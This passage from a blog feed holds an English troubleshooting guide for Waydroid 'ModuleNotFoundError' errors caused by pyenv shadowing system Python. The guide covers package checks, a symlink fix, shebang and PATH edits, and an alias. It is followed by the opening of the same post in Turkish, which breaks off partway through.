"uploadDate": "2025-10-25T03:00:00+03:00", "embedUrl": "https://www.youtube.com/embed/HVQBmWN5ZaU"}&lt;/script&gt;
&lt;h2 id="introduction"&gt;Introduction&lt;a class="headerlink" href="#introduction" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Waydroid is an excellent tool that allows you to run Android applications on Linux.
However, when installing on the Weston desktop environment, many users encounter the &lt;strong&gt;Python "ModuleNotFoundError" error&lt;/strong&gt;.
In this guide, I will explain the reasons and solution for this error step by step, especially for systems using &lt;strong&gt;pyenv&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This error usually appears as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ModuleNotFoundError: No module named 'gbinder'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ModuleNotFoundError: No module named 'tools'&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you also received one of these errors, you're in the right place 💡
Now let's see the root cause of the problem and how to solve it together.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="encountered-errors"&gt;Encountered Errors&lt;a class="headerlink" href="#encountered-errors" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="error-1-modulenotfounderror-no-module-named-gbinder"&gt;Error 1: &lt;code&gt;ModuleNotFoundError: No module named 'gbinder'&lt;/code&gt;&lt;a class="headerlink" href="#error-1-modulenotfounderror-no-module-named-gbinder" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;When you try to start the Waydroid session, you may encounter the following error:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;start
Traceback&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;most&lt;span class="w"&gt; &lt;/span&gt;recent&lt;span class="w"&gt; &lt;/span&gt;call&lt;span class="w"&gt; &lt;/span&gt;last&lt;span class="o"&gt;)&lt;/span&gt;:
&lt;span class="w"&gt;  &lt;/span&gt;File&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/waydroid"&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;line&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;module&amp;gt;
&lt;span class="w"&gt;    &lt;/span&gt;import&lt;span class="w"&gt; &lt;/span&gt;tools
&lt;span class="w"&gt;  &lt;/span&gt;File&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/usr/lib/waydroid/tools/__init__.py"&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;line&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;module&amp;gt;
&lt;span class="w"&gt;    &lt;/span&gt;from&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;import&lt;span class="w"&gt; &lt;/span&gt;actions
&lt;span class="w"&gt;  &lt;/span&gt;...
&lt;span class="w"&gt;  &lt;/span&gt;File&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/usr/lib/waydroid/tools/interfaces/IPlatform.py"&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;line&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;module&amp;gt;
&lt;span class="w"&gt;    &lt;/span&gt;import&lt;span class="w"&gt; &lt;/span&gt;gbinder
ModuleNotFoundError:&lt;span class="w"&gt; &lt;/span&gt;No&lt;span class="w"&gt; &lt;/span&gt;module&lt;span class="w"&gt; &lt;/span&gt;named&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'gbinder'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="error-2-modulenotfounderror-no-module-named-tools"&gt;Error 2: &lt;code&gt;ModuleNotFoundError: No module named 'tools'&lt;/code&gt;&lt;a class="headerlink" href="#error-2-modulenotfounderror-no-module-named-tools" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;After solving the first error, sometimes a second error appears:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;start
Traceback&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;most&lt;span class="w"&gt; &lt;/span&gt;recent&lt;span class="w"&gt; &lt;/span&gt;call&lt;span class="w"&gt; &lt;/span&gt;last&lt;span class="o"&gt;)&lt;/span&gt;:
&lt;span class="w"&gt;  &lt;/span&gt;File&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/waydroid"&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;line&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;module&amp;gt;
&lt;span class="w"&gt;    &lt;/span&gt;import&lt;span class="w"&gt; &lt;/span&gt;tools
ModuleNotFoundError:&lt;span class="w"&gt; &lt;/span&gt;No&lt;span class="w"&gt; &lt;/span&gt;module&lt;span class="w"&gt; &lt;/span&gt;named&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'tools'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;These two errors are caused by incompatibility between the Python interpreter and Waydroid's runtime environment on the system.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="root-cause-of-the-problem_1"&gt;Root Cause of the Problem&lt;a class="headerlink" href="#root-cause-of-the-problem" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The main reasons for these errors are as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pyenv PATH priority:&lt;/strong&gt;
   The &lt;code&gt;/usr/bin/python3&lt;/code&gt; symlink may have been pointed to pyenv's own Python version.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Wrong Shebang:&lt;/strong&gt;
   The Waydroid script uses the &lt;code&gt;#!/usr/bin/env python3&lt;/code&gt; line.
   This line calls the first Python interpreter in the PATH - which is usually the pyenv version.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Missing module path:&lt;/strong&gt;
   Waydroid's own module directory (&lt;code&gt;/usr/lib/waydroid&lt;/code&gt;) is not included in the Python path.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;These errors are usually caused by conflicts between pyenv and system Python ⚡&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="step-by-step-solution"&gt;Step-by-Step Solution&lt;a class="headerlink" href="#step-by-step-solution" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="1-check-which-python-is-being-used"&gt;1. Check Which Python Is Being Used&lt;a class="headerlink" href="#1-check-which-python-is-being-used" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;First, let's check which Python interpreter is running on the system:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;which&lt;span class="w"&gt; &lt;/span&gt;python3
&lt;span class="c1"&gt;# Sample output: /home/user/.pyenv/shims/python3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To see where the system Python is located:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-la&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/python3*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here you will see the real system Python (for example &lt;code&gt;python3.13&lt;/code&gt;).&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Pyenv shadows the system Python by changing the PATH order. Therefore, it is very important to identify the correct interpreter 💡&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="2-check-required-packages"&gt;2. Check Required Packages&lt;a class="headerlink" href="#2-check-required-packages" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Make sure the Python modules required for Waydroid are installed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-Qs&lt;span class="w"&gt; &lt;/span&gt;gbinder
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The following packages must be installed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;libgbinder&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;python-gbinder&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If missing, you can install with the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;libgbinder&lt;span class="w"&gt; &lt;/span&gt;python-gbinder
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="3-fix-python-symlink"&gt;3. Fix Python Symlink&lt;a class="headerlink" href="#3-fix-python-symlink" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If &lt;code&gt;/usr/bin/python3&lt;/code&gt; points to the wrong version, you should redirect it to the correct version:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;rm&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/python3
sudo&lt;span class="w"&gt; &lt;/span&gt;ln&lt;span class="w"&gt; &lt;/span&gt;-sf&lt;span class="w"&gt; &lt;/span&gt;python3.13&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/python3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;This operation affects the entire system ⚠️ Connecting to the wrong Python version can cause errors in other applications.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;To verify:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/usr/bin/python3&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"import gbinder; print('&amp;checkmark; gbinder is working')"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="4-edit-waydroid-script"&gt;4. Edit Waydroid Script&lt;a class="headerlink" href="#4-edit-waydroid-script" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Open the Waydroid script file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;nano&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/waydroid
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Edit the file as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/usr/bin/python3&lt;/span&gt;
&lt;span class="c1"&gt;# SPDX-License-Identifier: GPL-3.0-or-later&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;

&lt;span class="c1"&gt;# Add waydroid library path&lt;/span&gt;
&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"/usr/lib/waydroid"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;tools&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"__main__"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;umask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mo"&gt;0o0022&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tools&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;These two changes are very critical 💡 1️⃣ Shebang line corrected to &lt;code&gt;/usr/bin/python3&lt;/code&gt;. 2️⃣ &lt;code&gt;/usr/lib/waydroid&lt;/code&gt; path added to Python path.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="5-test-waydroid"&gt;5. Test Waydroid&lt;a class="headerlink" href="#5-test-waydroid" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;After the edits, check that Waydroid is working:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;status
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sample output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Session&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;STOPPED&lt;/span&gt;
&lt;span class="n"&gt;Vendor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;MAINLINE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If everything is on track, you have now overcome the errors 🎉&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="using-waydroid-in-weston-environment_1"&gt;Using Waydroid in Weston Environment&lt;a class="headerlink" href="#using-waydroid-in-weston-environment" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To start Waydroid on the Weston desktop:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;start
waydroid&lt;span class="w"&gt; &lt;/span&gt;show-full-ui
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Or as a shortcut:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;first-launch
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="starting-applications"&gt;Starting Applications&lt;a class="headerlink" href="#starting-applications" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;app&lt;span class="w"&gt; &lt;/span&gt;list
waydroid&lt;span class="w"&gt; &lt;/span&gt;app&lt;span class="w"&gt; &lt;/span&gt;launch&lt;span class="w"&gt; &lt;/span&gt;com.android.settings
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="stopping-waydroid"&gt;Stopping Waydroid&lt;a class="headerlink" href="#stopping-waydroid" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;stop
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Properly terminating the session before shutting down Waydroid ensures that system resources are released ⚙️&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="alternative-method-solution-via-path_1"&gt;Alternative Method: Solution via PATH&lt;a class="headerlink" href="#alternative-method-solution-via-path" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you don't want to change the symlink, you can temporarily disable pyenv:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;env&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/usr/local/sbin:/usr/local/bin:/usr/bin"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;start
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;With this method, pyenv is temporarily disabled and system Python is used 💡&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="additional-troubleshooting"&gt;Additional Troubleshooting&lt;a class="headerlink" href="#additional-troubleshooting" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="gbinder-still-not-found"&gt;gbinder still not found&lt;a class="headerlink" href="#gbinder-still-not-found" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-Ql&lt;span class="w"&gt; &lt;/span&gt;python-gbinder&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"\.so&lt;/span&gt;$&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If the output is empty, the module may not have been installed in the correct directory. Try reinstalling.&lt;/p&gt;
&lt;h3 id="permanent-solution-for-pyenv-conflict"&gt;Permanent Solution for Pyenv Conflict&lt;a class="headerlink" href="#permanent-solution-for-pyenv-conflict" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'alias waydroid="env PATH=\"/usr/local/sbin:/usr/local/bin:/usr/bin\" waydroid"'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;~/.bashrc
&lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;~/.bashrc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Thanks to this alias, Waydroid always uses system Python 💪&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="conclusion_1"&gt;Conclusion&lt;a class="headerlink" href="#conclusion" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In this guide, we examined the reasons and solutions for the
&lt;strong&gt;ModuleNotFoundError: No module named 'gbinder' / 'tools'&lt;/strong&gt; errors encountered when installing Waydroid on the Weston desktop environment.&lt;/p&gt;
&lt;p&gt;To solve the problem:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We identified the correct Python interpreter&lt;/li&gt;
&lt;li&gt;We edited the Waydroid script&lt;/li&gt;
&lt;li&gt;We provided an alternative solution with PATH manipulation&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After these steps, you can run Waydroid smoothly 🚀
Enjoy the Android experience on Linux! 🎯&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="resources"&gt;Resources&lt;a class="headerlink" href="#resources" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.waydro.id/" rel="noopener noreferrer" target="_blank"&gt;Waydroid Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.archlinux.org/title/Waydroid" rel="noopener noreferrer" target="_blank"&gt;Arch Linux Wiki - Waydroid&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.python.org/3/library/exceptions.html#ModuleNotFoundError" rel="noopener noreferrer" target="_blank"&gt;Python Docs - ModuleNotFoundError&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;script src="https://cdn.jsdelivr.net/npm/@justinribeiro/lite-youtube@1/lite-youtube.min.js" type="module"&gt;&lt;/script&gt;
&lt;p&gt;&lt;lite-youtube videoid="HVQBmWN5ZaU"&gt;&lt;/lite-youtube&gt;&lt;/p&gt;</content><category term="Linux"/><category term="linux"/><category term="waydroid"/><category term="python"/><category term="pyenv"/><category term="arch-linux"/><category term="troubleshooting"/></entry><entry><title>Weston ile Waydroid Kurulumu: ModuleNotFoundError Hatası ve Çözümü</title><link href="https://yuceltoluyag.github.io/weston-ile-waydroid-modulenotfounderror-hatasi-cozumu/" rel="alternate"/><published>2025-10-25T03:00:00+03:00</published><updated>2025-10-25T03:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-10-25:/weston-ile-waydroid-modulenotfounderror-hatasi-cozumu/</id><summary type="html">&lt;p&gt;Waydroid kurulumu sırasında sıkça görülen “ModuleNotFoundError” hatasının nedenlerini ve adım adım çözümünü öğren. Weston üzerinde sorunsuz çalıştır! ⚡&lt;/p&gt;</summary><content type="html">&lt;hr/&gt;
&lt;h2 id="giris"&gt;Giri&amp;scedil;&lt;a class="headerlink" href="#giris" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Waydroid, Android uygulamalar&amp;inodot;n&amp;inodot; Linux &amp;uuml;zerinde &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmay&amp;inodot; sa&amp;gbreve;layan harika bir ara&amp;ccedil;.
Ancak Weston masa&amp;uuml;st&amp;uuml; ortam&amp;inodot;nda kurulum yaparken bir&amp;ccedil;ok kullan&amp;inodot;c&amp;inodot;, &lt;strong&gt;Python &amp;ldquo;ModuleNotFoundError&amp;rdquo; hatas&amp;inodot;yla&lt;/strong&gt; kar&amp;scedil;&amp;inodot;la&amp;scedil;&amp;inodot;yor.
Bu rehberde, &amp;ouml;zellikle &lt;strong&gt;pyenv&lt;/strong&gt; kullanan sistemlerde bu hatan&amp;inodot;n nedenlerini ve &amp;ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;n&amp;uuml; ad&amp;inodot;m ad&amp;inodot;m anlataca&amp;gbreve;&amp;inodot;m.&lt;/p&gt;
&lt;p&gt;Bu hata genellikle &amp;scedil;u &amp;scedil;ekilde ortaya &amp;ccedil;&amp;inodot;kar:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ModuleNotFoundError: No module named 'gbinder'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ModuleNotFoundError: No module named 'tools'&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;E&amp;gbreve;er sen de bu hatalardan birini ald&amp;inodot;ysan, do&amp;gbreve;ru yerdesin 💡
&amp;Scedil;imdi sorunun kayna&amp;gbreve;&amp;inodot;n&amp;inodot; ve nas&amp;inodot;l &amp;ccedil;&amp;ouml;z&amp;uuml;lece&amp;gbreve;ini birlikte g&amp;ouml;relim.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="karslaslan-hatalar"&gt;Kar&amp;scedil;&amp;inodot;la&amp;scedil;&amp;inodot;lan Hatalar&lt;a class="headerlink" href="#karslaslan-hatalar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="hata-1-modulenotfounderror-no-module-named-gbinder"&gt;Hata 1: &lt;code&gt;ModuleNotFoundError: No module named 'gbinder'&lt;/code&gt;&lt;a class="headerlink" href="#hata-1-modulenotfounderror-no-module-named-gbinder" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Waydroid oturumunu ba&amp;scedil;latmaya &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot;nda &amp;scedil;u hata kar&amp;scedil;&amp;inodot;na &amp;ccedil;&amp;inodot;kabilir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;waydroid&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;start
Traceback&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;most&lt;span class="w"&gt; &lt;/span&gt;recent&lt;span class="w"&gt; &lt;/span&gt;call&lt;span class="w"&gt; &lt;/span&gt;last&lt;span class="o"&gt;)&lt;/span&gt;:
&lt;span class="w"&gt;  &lt;/span&gt;File&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/waydroid"&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;line&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;module&amp;gt;
&lt;span class="w"&gt;    &lt;/span&gt;import&lt;span class="w"&gt; &lt;/span&gt;tools
&lt;span class="w"&gt;  &lt;/span&gt;File&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/usr/lib/waydroid/tools/__init__.py"&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;line&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;module&amp;gt;
&lt;span class="w"&gt;    &lt;/span&gt;from&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;import&lt;span class="w"&gt; &lt;/span&gt;actions
&lt;span class="w"&gt;  &lt;/span&gt;...
